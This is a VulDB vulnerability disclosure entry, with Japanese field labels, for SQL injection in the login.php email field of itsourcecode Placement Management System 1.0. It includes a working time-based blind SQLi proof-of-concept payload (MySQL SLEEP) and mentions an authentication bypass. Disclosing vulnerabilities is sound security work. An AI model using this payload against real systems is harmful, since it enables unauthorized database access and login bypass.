| タイトル | itsourcecode Placement Management System 1.0 SQLi |
|---|
| 説明 | In the login.php file, the email field is not properly sanitized, which may lead to SQL injection vulnerabilities. Additionally, as long as there is any data in the users table of the database, it is possible to log in using a universal password.
————————Poc————————————
Parameter: email (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: [email protected]#' AND (SELECT 3451 FROM (SELECT(SLEEP(5)))zIEe) AND 'NilV'='NilV&pass=123 |
|---|
| ソース | ⚠️ https://github.com/DeepMountains/Mirage/blob/main/CVE11-1.md |
|---|
| ユーザー | Dee.Mirage (UID 71702) |
|---|
| 送信 | 2024年07月31日 16:15 (2 年 ago) |
|---|
| モデレーション | 2024年08月03日 08:49 (3 days later) |
|---|
| ステータス | 承諾済み |
|---|
| VulDBエントリ | 273540 [itsourcecode Placement Management System 1.0 login.php email SQLインジェクション] |
|---|
| ポイント | 20 |
|---|